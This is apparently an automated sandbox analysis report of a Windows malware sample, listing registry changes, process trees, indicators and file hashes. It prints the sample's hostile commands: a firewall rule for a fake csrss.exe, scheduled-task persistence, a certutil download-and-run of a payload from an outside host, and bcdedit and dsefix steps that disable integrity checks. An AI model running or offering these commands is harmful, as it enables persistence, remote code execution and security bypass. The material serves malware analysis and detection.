57194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.execsrss.exepid process 388 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe 576 csrss.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.execsrss.exedescription pid process Token: SeDebugPrivilege 388 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Token: SeImpersonatePrivilege 388 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe Token: SeSystemEnvironmentPrivilege 576 csrss.exe -
Suspicious use of WriteProcessMemory 58 IoCs
Processes:
3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.execmd.exepatch.execsrss.exedescription pid process target process PID 644 wrote to memory of 1324 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe cmd.exe PID 644 wrote to memory of 1324 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe cmd.exe PID 644 wrote to memory of 1324 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe cmd.exe PID 644 wrote to memory of 1324 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe cmd.exe PID 1324 wrote to memory of 1688 1324 cmd.exe netsh.exe PID 1324 wrote to memory of 1688 1324 cmd.exe netsh.exe PID 1324 wrote to memory of 1688 1324 cmd.exe netsh.exe PID 644 wrote to memory of 576 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe csrss.exe PID 644 wrote to memory of 576 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe csrss.exe PID 644 wrote to memory of 576 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe csrss.exe PID 644 wrote to memory of 576 644 3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe csrss.exe PID 1684 wrote to memory of 1892 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1892 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1892 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1568 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1568 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1568 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1080 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1080 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1080 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 2044 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 2044 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 2044 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1416 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1416 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1416 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 976 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 976 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 976 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 980 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 980 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 980 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1916 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1916 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1916 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1316 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1316 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1316 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1116 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1116 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1116 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 2028 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 2028 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 2028 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1180 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1180 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 1180 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 620 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 620 1684 patch.exe bcdedit.exe PID 1684 wrote to memory of 620 1684 patch.exe bcdedit.exe PID 576 wrote to memory of 1936 576 csrss.exe bcdedit.exe PID 576 wrote to memory of 1936 576 csrss.exe bcdedit.exe PID 576 wrote to memory of 1936 576 csrss.exe bcdedit.exe PID 576 wrote to memory of 1936 576 csrss.exe bcdedit.exe PID 576 wrote to memory of 1532 576 csrss.exe dsefix.exe PID 576 wrote to memory of 1532 576 csrss.exe dsefix.exe PID 576 wrote to memory of 1532 576 csrss.exe dsefix.exe PID 576 wrote to memory of 1532 576 csrss.exe dsefix.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe"C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe"C:\Users\Admin\AppData\Local\Temp\3cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe4⤵
- Executes dropped EXE
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220703050701.log C:\Windows\Logs\CBS\CbsPersist_20220703050701.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.8MB
MD53220237e0b04e7aa65b106855898b5d8
SHA1fac56baf9d932d019a0ffdf3fad20b5b6d08f82c
SHA2563cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43
SHA51276211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b
-
\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeFilesize
94KB
MD5d98e78fd57db58a11f880b45bb659767
SHA1ab70c0d3bd9103c07632eeecee9f51d198ed0e76
SHA256414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0
SHA512aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831
-
\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
\Users\Admin\AppData\Local\Temp\dbghelp.dllFilesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeFilesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
-
\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
-
\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
-
\Users\Admin\AppData\Local\Temp\osloader.exeFilesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
-
\Users\Admin\AppData\Local\Temp\symsrv.dllFilesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
-
\Windows\rss\csrss.exeFilesize
3.8MB
MD53220237e0b04e7aa65b106855898b5d8
SHA1fac56baf9d932d019a0ffdf3fad20b5b6d08f82c
SHA2563cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43
SHA51276211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b
-
\Windows\rss\csrss.exeFilesize
3.8MB
MD53220237e0b04e7aa65b106855898b5d8
SHA1fac56baf9d932d019a0ffdf3fad20b5b6d08f82c
SHA2563cf9abbaa740a8978100fb6a2a15fda7bd06a44b7dcde44c93068be72c9a0c43
SHA51276211a45622356158b982a2dc72db7bbee478dce002b5f89bfd23daa56071de1167b23f4cd42ec02194240446d8d6205e69c21a505ada2ad8c9fe6879aa4608b
-
memory/388-55-0x00000000037F0000-0x0000000003B97000-memory.dmpFilesize
3.7MB
-
memory/388-56-0x0000000003BA0000-0x00000000043A2000-memory.dmpFilesize
8.0MB
-
memory/388-57-0x0000000000400000-0x000000000334E000-memory.dmpFilesize
47.3MB
-
memory/388-54-0x00000000037F0000-0x0000000003B97000-memory.dmpFilesize
3.7MB
-
memory/388-58-0x0000000000400000-0x000000000334E000-memory.dmpFilesize
47.3MB
-
memory/576-82-0x0000000000400000-0x000000000334E000-memory.dmpFilesize
47.3MB
-
memory/576-72-0x0000000000400000-0x000000000334E000-memory.dmpFilesize
47.3MB
-
memory/576-71-0x0000000003860000-0x0000000003C07000-memory.dmpFilesize
3.7MB
-
memory/576-70-0x0000000003860000-0x0000000003C07000-memory.dmpFilesize
3.7MB
-
memory/576-67-0x0000000000000000-mapping.dmp
-
memory/620-98-0x0000000000000000-mapping.dmp
-
memory/644-59-0x0000000003720000-0x0000000003AC7000-memory.dmpFilesize
3.7MB
-
memory/644-64-0x0000000000400000-0x000000000334E000-memory.dmpFilesize
47.3MB
-
memory/644-63-0x0000000003720000-0x0000000003AC7000-memory.dmpFilesize
3.7MB
-
memory/644-69-0x0000000000400000-0x000000000334E000-memory.dmpFilesize
47.3MB
-
memory/976-91-0x0000000000000000-mapping.dmp
-
memory/980-92-0x0000000000000000-mapping.dmp
